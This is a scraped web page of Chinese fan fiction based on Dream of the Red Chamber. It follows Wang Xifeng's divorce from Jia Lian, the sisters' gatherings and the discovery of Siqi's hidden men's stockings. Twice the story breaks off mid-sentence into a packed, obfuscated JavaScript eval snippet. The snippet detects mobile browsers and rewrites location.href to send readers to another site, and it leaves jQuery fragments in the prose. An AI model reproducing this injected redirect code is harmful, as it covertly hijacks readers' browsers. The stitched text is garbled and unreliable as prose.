“信儿都传到我耳朵里了,旁人知道的还少吗?”贾政继续向贾琏施加压力。 贾琏咬牙道“老爷放心,这事儿先交给侄子处理吧!” 贾政点了点头,再没说话,挥了挥手,让贾琏退下了。 贾琏出了院门,才略微平静了下来。他很快想到此事必有幕后人挑拨。只是他却一时没想到竟然是王熙凤自己指使的。 次日,贾琏知道这个消息后,心里也痛恨王熙凤如此行事。只是不好耽搁,忙忙亲自去王府找王熙凤。 只是王熙凤并不见他,只让平儿传了口信,说她身体不适,二爷有什么话就说给平儿。 贾琏直言道“请二奶奶顾念夫妻情分,将那案子撤了吧。”他知道王熙凤在里间听得见,故意如此大声说道。 平儿听罢又回了里间,须臾又走出来传话道“二奶奶说二爷找人谋害她时怎么没有想到夫妻情分,这会儿再提情分就没意思了···” “你问她,她想要我如何做,我全答应她!”贾琏见王熙凤如此,只以为她有要求才故意端着,大概不过是让他不要出去寻花问柳,这都可以答应,不过是权宜之计。 只因贾琏担心此事传扬出去真的害了贾府,那时只怕他亲身父亲也容不下他了。 平儿又传了话道“二奶奶说如今维持夫妻面子也不必要了,不如好聚好散···” “你要和离?”贾琏怒极反笑,大声道“只有我休了你的,哪有你提什么和离,如此要强也不是好事!” 此时王熙凤却从屏风后缓步走了出来,脸上笑意盈盈。 贾琏一见王熙凤如此容貌姿态,还以为她是逗自己玩的,就笑道“凤儿,你怎么故意逗我呢?” 王熙凤却摇摇头,说道“我心意已决,今日不过是和二爷要个准话罢了。” 贾琏刚挂上的笑容立刻消失,咬牙道“你真这样绝情吗?” 王熙凤只是摇摇头,似乎站立不稳,平儿忙忙扶她坐了下来。 贾琏最恨王熙凤这样强硬坚决,他又道“你是故意拿这个事要挟我的吗?” 王熙凤点了点头,说道“二爷还是答应了吧,不然那个鲍二媳妇要是着急了,什么胡话都难免说出来的,到时牵扯到二爷就不好了···” 贾琏如此厌恶被王熙凤拿捏,却无可奈何。他沉思一会儿,只好认命,又道“除了和离,你还有什么要求?” 王熙凤反而笑了笑,说道“自然是帮我做好人了。” 贾琏不解,反问道“你说仔细些,省得到时又拿这个要挟我!”说罢,又哼了一声。 “就说是二爷另有新欢,容不下我,我苦苦哀求,二爷仍是铁石心肠,我被气得重病不起,二爷更不待见我,就和外人一起害我···”王熙凤说的半真半假,完全是将自己作为受害者。 “然后让老太太和老爷太太重罚我一顿,你还是那个无辜的二奶奶。”贾琏阴阳怪气道。 王熙凤笑着点点头“然后咱们去官府备案和离,那日也就是鲍二媳妇平安回家的日子,至于我的嫁妆,想必二爷已经为我收拾好了。” 贾琏既觉得丢了面子,又不舍真的失去王家这个有权有势的岳家。 他想到此,便叹口气,柔声道“凤儿,真的不可挽回了吗?若你与我回家,咱们夫妻好好过日子,我发誓绝不出去找别的女人,只守着你···”贾琏放低身段,想用甜言蜜语打动王熙凤。 王熙凤瞥了贾琏一眼,轻笑道“我以前也一直信二爷的话,只是最终却是这么个结果,细想起来,倒不如最初什么好话都不要听了。” “那几日我只剩一口气,差点死了,二爷心里可有一点后悔吗?”王熙凤又问。 贾琏忙道“我日日都来看你的!只是你昏迷着不知道而已,不信你问平儿!”贾琏说罢忙示意平儿为他说好话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060465|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 平儿低了头,轻声道“我忙着伺候奶奶,也不知道这些事···” “那几日你找其他女人了吗?”王熙凤又问。 贾琏的尴尬一闪而过,便道“我担心你的病情还来不及,怎么会找其他女人呢?你一定是被平儿骗了!肯定是她背地里挑唆咱们的!”他又想将平儿拉下水。 王熙凤却侧了身看一眼平儿,又回头对贾琏说道“二爷也不要耽搁时间了,就按照刚才说的去办事吧,待你都处理好了,我们王家自然也要登门赔不是,将东西带走的。” “你要是觉得鲍二媳妇在牢里不会出事的话,也就不要着急办事了···”王熙凤说罢,就起身进了里面,平儿在后面跟着,二人都没有理会贾琏。 贾琏自知无法挽回,回去之后狠狠心咬咬牙,先去找了贾赦。自然少不了贾赦一顿打骂。 只是无论贾赦如何骂他,贾琏一口咬定,不愿意再和王熙凤过日子,想要另娶。 贾赦打也打了,骂也骂了,反倒再没有办法了,总不能真的将亲儿子打死了之。便将贾琏带去了贾母那里。 贾琏已经及冠,他如此横了心要和离,贾母无论怎么骂或者劝解都没有用处。 贾母便道“凤丫头不过是性子要强一些,哪里有什么大过错了?她将家里事打点的这么妥当,又伺候我,两位太太,如此能干的媳妇,你却不长眼睛要休了她,真是脂油蒙了心!” 贾母骂完,长叹一声,不禁落下泪来。 贾琏不想再这样拖着,又道“老太太和父亲若是不准,我便剃了头做和尚去!” 贾母和贾赦听罢,都觉得不像话,却又担心他真的那样做了。荣府子孙本就少,贾赦更是只有贾琏这个还算能干的嫡子,怎么真敢让他去做和尚? “你这样对不起凤丫头,又让我怎么去和王家的人交待呢?”贾母既生气贾琏这样糊涂强硬,又难过对不起王熙凤和王家,眼泪流得越多了。 鸳鸯无法,只好为贾母拭泪,不停宽慰着。 贾琏那会儿已被贾赦痛打一顿,此时也是强撑着一口气,终是忍不住心中的怨恨,说道“她巴不得这样呢!”说罢,贾琏就昏了过去。 贾母与邢夫人着了慌,忙让人去找大夫。 当日永昌驸马府上出了丧事,王夫人吊唁去了。她晚上回来听到贾琏闹事,也很担忧贾母的身体,想立刻前去宽慰劝解几句,又想到贾政叮嘱她若老太太知道了这件事,千万不要独自过去,要等他在场才好。 正犹豫时,贾政也回了家,夫妻二人简单说了几句,便一同去了贾母处。 贾母受了气,晚饭也没有用,早早就躺下了。又感觉胸闷气短,难以成眠。听得鸳鸯在外间与人说道“老太太刚才躺下了···” “谁在外面呢?”贾母问道。 鸳鸯便进来服侍贾母穿衣服,说道“二老爷和太太来看看您。” 贾政与王夫人扶着贾母坐到了榻上,贾政又亲自倒了杯热茶端给母亲。 他见贾母满脸忧思,便劝道“儿孙自有儿孙福,琏儿大了,大哥也管教不住他,母亲也不必忧虑,就随他去吧,若是因为这事儿让您生一场病,大哥和我更难辞其咎了。” 贾母听罢,也觉得有几分道理,又叹道“你们常说我年纪大了,该是安享尊荣的时候了。只是琏儿这孩子做的事实在荒唐!我怎么能不去操心呢?” “想来母亲是担心不好对王家人交待吧?”贾政问道。 贾母看了一眼坐在贾政下首的王夫人,神色柔和了些,点了点头,说道“琏儿是个糊涂的,他要做对不起凤丫头的事,我们该劝的也劝了,如今他挨了大老爷一顿打,却又病了!不然我真要将他绑到王府去请罪!” 王夫人宽慰道“老太太切勿动怒,终究只是孩子们的事情,待我明日去劝劝兄嫂和凤丫头,若有误会当即说开了,也不会影响两家人的关系。” 贾母便点点头,说道“王家的姑娘都是好的,只是琏儿没有这个福气了···可惜凤丫头这么个好孩子···”说罢,又重重叹了口气。 “明日我与夫人同去,王家人若有气也不好为难的。”贾政说道。 “凤丫头在咱们家做了几年媳妇,凡是她所经手的事情就没有不周全的。你们明日去了,也替我带个好吧,就说,我仍将她当孙女一样疼的···”贾母说罢,心里难过,不免又落了泪。 57.我与狸奴不出门 事情到这一步,贾琏与王熙凤和离的事也就很顺利了,贾府与王府都没有人阻拦。 王熙凤拿到了和离书与自己的嫁妆,鲍二媳妇当日也就放了。贾琏担心日后鲍二媳妇再次生事,就将她打发到金陵老家看房子。 这一桩事情了结,贾琏受的伤还没好。如今家里没了贤妻,自己行动也不方便,心里颇有几分寥落,不免自怨自艾起来,直修养了一个多月,才觉得身子大好,又有了精神。 因贾琏重病在床,贾政便让贾珠先揽了外面的事情。待贾琏好了,便交代他们兄弟二人一同料理着,贾琏也是无话。 虽然受了一些打击,但贾琏很有几分聪明才智,更勤恳经营起家事来,也常去其他省份办事,自然没少捞到好处。 贾赦因贾琏事情办得好,就将自己跟前的丫鬟秋桐赏给了贾琏做妾。 贾琏的生活似乎重新明媚丰富了起来。 王熙凤自从和离后,只觉得再无任何人可以控制她,也无需收敛自己的骄傲性格,精力志气也就更盛往昔。又恰逢王子腾夫人寿辰,王熙凤也帮忙打点家事,虽然她身份有些尴尬,可谁也不敢当面与她说什么。 王夫人因担心贾母心里不自在,自己就没有去为嫂子贺寿,贾珠李纨也不便过去。只有薛姨妈带了宝钗英莲去了。 宝钗在席上坐下,就暗中观察着正招呼客人的王熙凤。看到她满面红光,宝钗不禁笑了笑。 宝钗来之前姐妹们都叮嘱她,让她多宽慰宽慰王熙凤,宝钗便领了任务。宝钗也知晓凤姐姐的能力和胸襟不是贾琏所能比的。她虽也为凤姐姐和离有些遗憾,更多的却是祝福。 王熙凤走到了薛姨妈和宝钗这一桌,都是本家很熟络的亲戚,也就没有客套。 王熙凤道“好久不见,姑妈身体还好吗?”说罢,坐到了薛姨妈旁边。 薛姨妈也很担心王熙凤状况,便问道“我们都好,只是凤丫头,你怎么样了呢?” 王熙凤笑了笑,说道“经历了那些事,我也想开了,姑妈不用担心我,我好得很呢!” 薛姨妈摸了摸王熙凤手背,也笑说“我和你二姑妈都很担心你,看到你这样我们也放心了。”。 顿了顿又轻声道“琏儿没有为难你吧?” 王熙凤摇了摇头,说道“夫妻一场,好聚好散···” “听说你父母过些日子要回金陵了吗?”薛姨妈又问道。 王熙凤点了点头,说道“可能半个月之后走吧,母亲在外面忙着接待客人,她说一会儿过来和姑妈细聊。” “凤姐姐也回金陵去吗?”宝钗问道。 王熙凤也很喜欢宝钗这个妹妹,笑道“我和父母亲一同回去,好多年没回家了,如今得了空闲,也应当回去看看。”。 想了想,又道“其他姐姐妹妹还好吗?我如今也不方便去看她们,你就替我问候一下吧,以后有机会,大家姐妹再聚一聚也好。” 宝钗回道“姐妹们都很惦记凤姐姐呢,今日就是让我来看姐姐来了。” “算我没有白疼她们!”王熙凤露出一个真心的笑容。 宝钗又道“凤姐姐打算在金陵待多久呢?只怕姐姐是个闲不住的人,一时闲下来,反而无聊了。” 王熙凤也没有很长远的打算,她所知道的女人,不是嫁了人在宅院里管家带孩子,就是守寡,她还真想不到其他生活的可能。 王熙凤轻笑道“也许会无聊吧,做个富贵闲人也没什么不好···” 宝钗看出了王熙凤神情中的无奈,她想了想,很快有了个主意。 宝钗倒了杯茶端到王熙凤面前,又凑到她耳畔说道“凤姐姐,不如咱们合伙做生意吧?” 王熙凤听罢心里一震,这真是个好主意。只是面上不显,她喝了一口茶,又用指尖轻扣着桌沿,缓缓道“妹妹这样看得起我,我也不好让你失望,待我细想想,再给你个准信。” 宝钗也不认为王熙凤立刻就会点头答应,也没催促,就挽着王熙凤,笑说“姐姐先回金陵修养些日子。随时可以给我来信,我们再细细讨论。” 王熙凤也笑了笑,凑到宝钗耳畔,低声道“听说薛家重新开始做布匹生意了···” “正是为这个事来找凤姐姐的。”宝钗说罢,起身拿过茶壶,又为王熙凤续满了茶。 王熙凤心中暗想:果然如今薛家的产业全由宝钗打理,自己若能与她合作,就可以在生意上迅速起步,也不需要借由太多王家的势力,更不会惹出更多的闲话,让自己父母不好处理了。 想到这一步,王熙凤一只手捧起茶杯,和宝钗碰了碰,嘴角勾起一个笑容,轻声道“以茶代酒,咱们姐妹俩先干一杯吧!” 湘云来到贾府后,因喜欢宝钗体贴周全的性子,两人很合得来,就与宝钗住在一处。 薛姨妈膝下已有一个干女儿英莲,待她和宝钗并无差别。与湘云相处一些日子后,薛姨妈也很疼惜湘云,同样将她如女儿般对待。 这日孩子们聚在薛姨妈这里吃西瓜,少不了姐妹们又要玩笑一会儿。 宝钗打趣道“母亲现在可是有三个女儿了呢!” 此时薛姨妈一左一右搂着湘云和英莲,便笑说“她们俩个可怜见的,又极可爱懂事,我都喜欢的不得了!” “姨妈吃这个!”湘云笑嘻嘻拿了一颗葡萄喂给薛姨妈吃。随后又懒洋洋地窝在姨妈怀里,享受着从未有过的母爱。 “湘云活泼又聪慧,没有长辈不喜欢她的!”探春笑着说“只是有时候却太调皮了,足可以和二哥哥相比!” 黛玉听罢,笑说“云妹妹这样躺在姨妈怀里,倒让我想起一句诗。” 英莲忙问“是哪一句呢?” 黛玉笑着摇了摇头,不着急说。 宝钗在黛玉鼻尖点了一下,笑道“颦儿是个促狭鬼,肯定想的是什么不好的诗句,自己也不好意思说出来。” “才没有呢!”黛玉反驳道。 探春揽着黛玉肩膀,扶她坐到英莲旁边,笑说“林姐姐快说吧,你看英莲妹妹着急成什么样子了!” 英莲适时地点点头,眨巴着眼睛看黛玉,一脸期待。 黛玉缓缓说道“溪柴火软蛮毡暖,我与狸奴不出门···” 探春拍手笑道“这个比方好极了!湘云现在懒懒的,正像个小狸猫!” 宝钗拿了一条凉被盖到湘云身上,点点头笑道“这样就更合适了!” 湘云也不生气,拉着被子盖住了头,故意发出了“喵喵”的叫声,更逗得众人笑个不停。 湘云从被子里钻出来,又搂着薛姨妈脖颈笑道“姨妈看我像不像狸花猫?” 薛姨妈连连笑着点头,说道“长得像,学的也像!只是狸猫会抓人,你这么乖巧却不抓人的。” 湘云听了便故作凶狠,鼓了嘴巴,瞪大眼睛,扑到黛玉身上,挠了她几下。 黛玉没觉得疼,只是痒的不行,便笑道“好姐姐,我投降,再也不逗你了!” 湘云再也装不住,半靠着黛玉,大笑了起来。 黛玉便在她额头轻轻点了一下,又抚摸她脊背,笑道“小猫身上毛茸茸的,等冬天到了也给湘云穿上毛披风,摸起来就更舒服了!” “好啊,我记住了,林姐姐到时若不给我衣裳,我就向姨妈和宝姐姐告状!”湘云也道。 此时探春突然想起了湘云曾穿过宝玉的衣裳,便在宝钗耳畔说了。 宝钗听罢笑道“我也为云妹妹准备一件衣服,最好是和宝玉那件北海织鸟锦袍一样的···” 湘云却哼了一声说道“爱哥哥的衣服穿起来不舒服,今年我要重挑几件!” 薛姨妈笑道“正好说起这个事,宝钗前些日子让人带了许多金陵的缎子,都是做夏天衣服的,这几日忙,忘记分了···” 宝钗笑说“母亲,我早就分给姐妹们了,裁缝正赶着做呢!” “你想得周到,我年纪大了,也糊涂了,丢三落四的。”薛姨妈笑道。 “有宝姐姐这么行事妥帖的女儿在身边,姨妈却也没什么可操心的了!”黛玉笑道。 薛姨妈也是笑着点点头,说道“宝丫头做事却是很周到,我年轻时也不及她···” “母亲又当着姐妹们的面故意打趣我了。”宝钗有些不好意思。 “姨妈,宝姐姐小时候也会调皮吗?”湘云挽着薛姨妈手臂,问道。 “很小的时候也有一些顽皮的时候,只是到了五六岁就很乖巧懂事了,我也想不起她做过什么出格的事情了···”薛姨妈道。 “我知道一件!”黛玉拍手笑道。 众人便都看着她,宝钗自己也好奇,笑看黛玉。 黛玉走到宝钗身侧,挽住她手臂,才缓缓说道“之前在扬州,我过生日那天,姐妹们一起钓鱼,宝姐姐故意将我鱼竿上的鱼饵拿掉了,害得我一直钓不到鱼!”黛玉说罢,还哼了一声。 宝钗细想了这件事,笑道“颦儿又胡说了,你的鱼饵掉了那是因为你将鱼竿一直放在水里不管,而且你还把我钓的鱼都放到水里了,我都没有怪你呢!你怎么还怪起我来了!” 黛玉眨了眨眼睛,笑道“是这样吗?也许我也糊涂了,记不清了!” 探春却道“林姐姐哪里有糊涂的时候?不过是故意逗宝姐姐的,只是没想到宝姐姐记性太好了!” “以后我要时刻盯着宝姐姐,一遇到她做坏事就告诉你们,这样人 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又看赵姨娘神色透出几分愉悦,贾政又道“你日后若有什么需要,可以私下和我说,不要当着那么多人让探春没脸了。她现在管家也很艰难,下人们都想看她的笑话,你就不要再去添乱了。” “妾身也是一时冲动,又受了旁人的挑拨···”赵姨娘在贾政面前倒很坦诚。 “你那日行事的确很不妥当,我听了也很生气!只是你既然认错,我也不再责怪你。只要你以后安分过日子,我自然不会让其他人苛待你的。”贾政尽量表现出刚柔并济的态度,既想用威严震慑赵姨娘,让她以后不要捣乱,又想体谅她,许她一个安稳日子。 赵姨娘听了,很是高兴,笑道“老爷这样体贴对待,真是妾身的福报了···”说罢,便笑意盈盈地看着贾政。 “你回屋歇着去吧,我还有些公事要忙···”贾政见状连忙出言送客了。 赵姨娘走后,贾政过了好一会儿才从书房离开。 “老爷今天回来的早。”王夫人正在屋里与锦屏挑花样子,听到丫鬟说老爷回来了,便放下手里的花样,起身迎了上来。 “夫人不用伺候我。”贾政轻轻拍了一下王夫人要为他脱外衣的手,笑道“我自己来就好。” 王夫人早习惯贾政这样的脾气,便倒了杯茶端给他,说道“喝杯茶解解暑,外面怪热的。” 贾政喝了半盏茶,又斜靠在王夫人常躺着的凉榻上,拿起团扇自己扇着。王夫人看了,轻轻笑了笑,也不理会贾政,又忙去了。 “夫人忙什么呢?”贾政躺了一会儿,又问道。 “挑几个花样子,为老太太和孩子们裁衣服。”王夫人说道。 贾政看到王夫人仍专注和锦屏看花样,便打趣道“我的夏衣也旧了,夫人都不想着为我裁衣服吗?”说罢,还煞有介事地叹了口气,闭了眼不看王夫人了。 王夫人此时走了过来,坐到贾政旁边的椅子上,才说道“老爷睁眼看看。” 贾政一睁眼,就看到王夫人腿上放了几件男式的外袍,看面料也都是上好的。 “我不过是开玩笑罢了,夫人这样像是与我赌气了。”贾政拿过衣服细细看了,面上很是高兴。 王夫人但笑不语。贾政就坐了起来,拿了扇子给夫人扇着“夫人辛苦了,我为夫人扇风。” “最近事情忙不忙?”贾政见夫人面露疲惫,关怀道。 王夫人轻轻摇了摇头,说道“事情不过都是那些,而且还有孩子们帮衬着。也许是年纪上来了,精力不如从前了。”说罢还叹了口气。 “我讲个趣事给夫人听好不好?”贾政想让夫人开怀些,便故意说道。王夫人会意,笑着点了点头。 贾政便将夫人扶着躺在自己的腿上,这才讲了起来。贾政看到夫人不时露出的笑容,自己心里也很愉悦。待他说完两三件事后,王夫人眯了眼睛,有些困了。 “夫人歇一会儿,到晚饭时候我叫你。”贾政说罢,又一下下轻轻拍着王夫人左肩。 “老爷当我是小孩儿呢,怎么还来哄我睡觉了?”王夫人轻轻笑了笑,低声说道,却也懒得睁开眼睛。 贾政轻声道“再不睡觉,外面有鬼来抓你了···” 王夫人虽不再为家务琐事劳神,只是交际应酬也很烦人。这正是这个时代复杂的礼仪导致的,这样高门大户的人情往来更是庞杂细密,像是蛛网一样将人牢牢缠住了。 贾政看着王夫人的睡颜轻声笑了下,很快又叹了口气。他又想到了王熙凤的事情,心里暗暗思考:这样的深宅大院不知道困住了多少女人的一生呢? 58.攀关系引出麻烦事 探春在贾府的改革,遇到了一件棘手的事情。又因这事情牵扯到了迎春,她便很不好处理。 府里要彻底整顿采买事务,必然要触碰到许多人的利益。幸而有贾母和贾政王夫人为探春撑腰,那些看人下菜碟的仆人们才不敢公然闹事。 另一方面,那些本来沾不到光的人见探春得了势,便起了巴结的心思,每日都有人送东西到探春处。 探春初时还有些疑惑,细想了想,便笑出了声,对丫鬟侍书说道“他们这些人都是一双势利眼,如今看到太太让我管事,我这里有好差事,便来拜山头,不知道大嫂子那里可收到什么孝敬没有?” 侍书回道“大奶奶那里我没有听说有人常去走动的···” 探春点点头,抿了一口茶,又道“这些东西你都给她们退回去吧,也不需要解释什么。” 侍书便应下了,很快就一一退了回去。 那些婆子们看到自己送的礼都被退了回来,又各自盘算去了,她们是万万不可能放弃买办这个肥差的。 其中,迎春的奶妈王嬷嬷便将算盘打在了迎春身上。 王嬷嬷是个混不吝的,她素日仗着奶妈的身份,将迎春的月例银子都揽过来自己拿着,只有迎春开口要了她才拿一点出来。 她又好赌,银钱不趁手时便经常偷拿迎春的首饰典当。因迎春性子和软,又不愿意与自己奶妈起争执,王嬷嬷越发作威作福了。 她儿子王住儿与她相同,好赌又懒散,在贾赦手底下多年也只是做粗活,没什么出息。而王住儿媳妇却因为人比较伶俐,也有几分聪明,在邢夫人处却很得力。 住儿媳妇便与婆婆王嬷嬷商议,想给王住儿争取个买办的差事。 “您是二姑娘的奶妈,二姑娘又和三姑娘亲厚,您在二姑娘跟前一提这个事,她性子和软,定然要去求情的。这样咱们家不是就拿到这个好差事了吗?”住儿媳妇对婆婆说道。 王嬷嬷一听正是这个道理,又认为自己可是二姑娘的奶妈,必然比其他下人地位更高。王嬷嬷没敢耽搁,当即就去找迎春了。 此时迎春刚从王夫人处玩笑回来,探春和惜春回了自己屋子。 迎春的丫鬟绣橘一看到王嬷嬷露出讨好的表情,便知道她定像从前那样犯浑,就说道“王妈妈怎么赶的这么巧?是不是赌输了钱,又想拿几件姑娘的首饰衣服当钱花呢?” “哪有啊,你也太看轻我了!”王嬷嬷因有事求迎春,就一直摆着笑脸,也不像往日那样与绣橘斗嘴。 “看这样子也没有好事!”绣橘哼了一声,就低了头做针线活去了。 “二姑娘,我有点事情想求姑娘帮忙···”王嬷嬷讨好道。 迎春听了,便让她坐了,又让司棋倒了茶来。这才问道“妈妈有什么事情反来求我呢?” 王嬷嬷笑道“听说府里最近重新筹划采买的差事,你奶兄弟人品才干都是一等一的,正好能做这个差事,就想让姑娘帮忙去和三姑娘说说情。” 司棋在旁边听了,却道“姑娘别听王妈妈胡说!她那儿子是个烂赌鬼,常常醉酒误事,大老爷都发落过他好几回了!” 说罢,司棋又对王嬷嬷说道“妈妈快别提这个了!但凡有一点自知之明的,也不会拿这个事让姑娘为难。” 迎春听了,倒有几分犹豫,便说“若是我自己一句话的事,今日必然痛快答应了妈妈。只是要我为这个事去求三妹妹,却是不能的。” 迎春自然知晓探春管家的为难之处,也不会自己再去让她为难。若是她自己管家,那么安插这么个人也很简单了。 王嬷嬷堆笑道“姑娘也看看咱们往日的情分,就拉扯一下你那个奶哥哥吧!他日后若是出人头地了,断然不会忘了姑娘的大恩大德!” 司棋见王嬷嬷如此纠缠,迎春只是低头不语,便开口道“一把年纪了,不要自己给自己没脸!若真有本事,自己去隔壁屋子找三姑娘去,在这里纠缠姑娘算什么道理!” 迎春只是低头喝着茶,也不回应王嬷嬷和司棋。 王嬷嬷见状,脸上再也挂不住笑容,指着司棋鼻子,怒道“我和姑娘说话呢,你算个什么东西!” “你也不过是仗着奶过几日姑娘,便在这里充起主子的款儿了!”司棋也毫不畏惧。 “好了,不要吵了,省点事吧,三妹妹离得近,一会儿过来问了,到时候又怎么办?”迎春低声劝到。 “你说的对,我就是仗着这个功劳!”王嬷嬷怒极反笑,又对迎春道“若是没有我,姑娘也难长这么大,不过是一句话的事,姑娘却和我摆起架子了!” 此时绣橘也护着迎春,将迎春扶到了窗边炕上坐下,这才说道“姑娘叫你一声妈妈是给你脸了,不要真以为自己是什么大功臣了!” 王嬷嬷又坐下,狠狠拍了拍桌子,骂道“人家哪个屋里不仗着自己的身份多捞点东西,偏是姑娘毫不容情,你去找三姑娘说句话,难道她做妹妹的会不依你吗?” 司棋勉强和气道“三姑娘最是秉公办事的,况且又有太太为她撑腰,她若真的不听姑娘的话,到时姑娘被驳没了脸面,你早跑远了,谁来管姑娘呢?” 王嬷嬷再也忍不住司棋在自己跟前指手画脚,便冷笑道“你做了什么事情打量我不知道呢?别让我给你抖出来,到时看谁更没脸!” 司棋听了,心里一慌,面上勉强维持着镇定,高声道“你胡说什么!” 王嬷嬷见司棋神情,便知道自己拿住了她的把柄,冷笑了一声,起身就去翻司棋的箱子。 司棋心里更是害怕,连忙上去阻止,绣橘也去阻止。 迎春看这样实在不成体统,说了几句,几人都不理她,自己也没办法,拿了本书盖着半张脸,胡乱看着。 王嬷嬷手快,已经拿出了司棋的箱子,她力气又大,且发了狠劲,司棋和绣橘两个年轻姑娘反而不敌。 三人推搡之间,王嬷嬷竟然真的从箱子里翻出了一双男子锦带袜和一双缎子鞋。 王嬷嬷得意地一手捏起袜子,一手拿鞋子,冷笑道“姑娘看看这是什么?” 司棋早已捂着脸,跪在地上,泪流满面了。 “好好的,这是闹什么?”探春听到隔壁吵闹,便带着侍书过来看看。刚走到屋里,就看到司棋跪在地上痛哭,桌子上散乱放着东西,而王嬷嬷反而得意洋洋地坐着。 王嬷嬷正愁司棋不理会她,如今探春过来,正是她出气的时候,便将搜出来的东西给探春看了,又添油加醋道“之前我就看到她和一个男的大晚上拉拉扯扯,没想到今天真的让我搜出证据了!”说罢,还得意笑了笑。 探春听了,心里也是打鼓。自忖道:我一个姑娘家处理这样的事情也不太妥当,况且这是二姐姐屋里的事,我若真的毫不容情,反而让二姐姐更难过了。 探春神色微微变了变,仍然维持着面上的镇定。她知道内宅最是担心出这样的事情,这关系着整个家族的声誉,因此也不敢耽搁或者隐瞒,对侍书小声道“去那边看看太太在不在,若是在的话你就说我有要事请示。”侍书忙忙去找王夫人了。 探春先让丫鬟将王嬷嬷搜出的东西收好放在箱子里,又严肃道“妈妈也不要着急,是非公理,自然有太太评定!只是若查出来有假,你也少不得要受罚了!” 王嬷嬷反笑道“明晃晃的证据在这里,还有什么可解释的呢!”说罢,又对司棋道“司棋姑娘,你说呢?” 司棋见探春将这事报告了王夫人,心里更加惶恐,便跪行至迎春面前,哭道“不过是帮别人做的鞋袜,没有半点不合适的,请姑娘看在往日的情分上,帮我说说好话吧!”说罢,边哭边磕头,没一会儿,额头就见了血。 迎春为难道“你做了这种事,连我也要被你连累了,又怎么去求太太呢!” 探春走到迎春身侧,安慰道“不一定就是什么大事,且听她一会儿怎么解释吧。”说罢,又看看司棋,也是自小一起长大的,便有几分不忍,安慰道“司棋你先起来,一会儿在太太跟前说了实情就罢了,太太心慈,没有大事也不会罚你的。” 司棋听罢,反而冷静了下来,就起了身立在原地想了一会儿。只是证据摆在这里,又要如何分辨呢?也许是要被撵出去了。 当时王夫人正陪着贾母说笑,宝玉黛玉也在。宝玉看到侍书独自进来,就有些疑惑,偷偷指了指她给黛玉看。 “也许是三妹妹有事找舅妈,你安分点。”黛玉轻声道。 侍书匆匆进来,告诉锦屏说探春有事请示太太。锦屏便原样转述了。 王夫人听罢,细细想了一下,认为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068746|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探春自己不来,只派了丫头,应该不只是要事更是急事,不然以她那样细致周到的性子,不应该这样行事。 “老太太,我让三丫头给我找几个花样子,正是预备给老爷做衣服的,现在过去看一看。”王夫人笑对贾母说道。 贾母点头道“去吧,我这里有宝玉和黛玉陪着就好。”贾母也猜到必有要事,只是不说罢了。 王夫人很快便来到三春住的院子,迎春和探春忙迎了上去。探春扶着王夫人,将刚才发生的事情细细说了。 王夫人听罢,正色道“是哪个丫头的东西?” 司棋见状,应了声。 迎春沉默着给王夫人倒了杯茶,也不敢坐着,只是站在王夫人身侧。 “你们坐着,不要担心。”王夫人知道迎春性子内敛,也不想让她压力太大,因此笑着安慰道。迎春摇了摇头,只坐了半边凳子。 王夫人示意锦屏将东西拿过来,锦屏便去箱子里拿来,王夫人没有碰,略看了看,微微摇了摇头。 此时王嬷嬷虽畏惧王夫人威严,也不忘添油加醋编造司棋如何与男人私会,这些东西又是如何传递进来的。 王夫人问道“你亲眼见过的?”王嬷嬷便点点头。 司棋忙为自己辩解“太太切莫信她,她只是故意报复我的!” “那这鞋袜如何解释?”王夫人指了指东西,又看司棋。 司棋便道“是有人托我做的···” “谁托你做的?”王夫人又问。司棋摇了摇头,便不回答了。 “你既然敢和外面私自传递东西,我也就不能将你留在这里了,日后平白玷污了几个姑娘的名节。”王夫人此话很是严肃。 说罢王夫人叫过来周瑞家的,对她说道“司棋是大老爷那边的,你便带她过去,将她做的事情回了大太太,由大太太处理吧。” 司棋见状,连忙跪地哭道“姑娘救我!” 迎春听了只是捂着帕子落泪,也不敢和王夫人求情。 探春虽知道此事关系重大,但着实可怜司棋,又担心迎春因为这事难过被大太太责骂。 探春很快又想到虽然需要严肃处理,但未尝不可对司棋容情,便忙忙在王夫人耳畔说道“母亲不如暂时将她关起来,我们私下里再问问她,不然二姐姐也不好过,大太太更要骂她了···” 王夫人听了,先阻止周瑞家的离开,自己略一思考,也认同探春的说法。 王夫人叹了口气,又想到现在只好是明面上将这事瞒下来,找个理由糊弄过去,只是司棋却不能留下了。 “先将她关起来,还有些事情需要细细查清楚!”王夫人说道,又对王嬷嬷严肃道“这事若传了出去,你自然知道什么结果!” 王嬷嬷面对王夫人的威严,哪里敢有所忤逆,忙忙说道“我再也不敢的。” 探春却怕她背地里胡说,又道“这个妈妈之前私下里拿了二姐姐的许多首饰衣服,当了钱又去赌钱。” 王夫人配合道“晚上聚众赌钱这事也很该查一查,你既这样说,就从她先查起吧,看看有多少为首的,一并查出来打发了去。至于偷拿姑娘的东西典当···”王夫人停顿了一下。 王嬷嬷听了更是吓得不行,勉强说道“之前不过是拿去周转,也求过姑娘的,只是年纪大了记性不好,东西忘记赎了,我就赎回来,再给姑娘赔不是。” 王夫人点点头,又道“你是二姑娘的奶娘,我也该给你留点情面,只是日后若再有这种事发生,可就顾不得你的脸面了。” 王嬷嬷颤巍巍点头称是。 探春见状,柔声对迎春道“姐姐还有什么要说的吗?正好太太在,为你做主呢。” 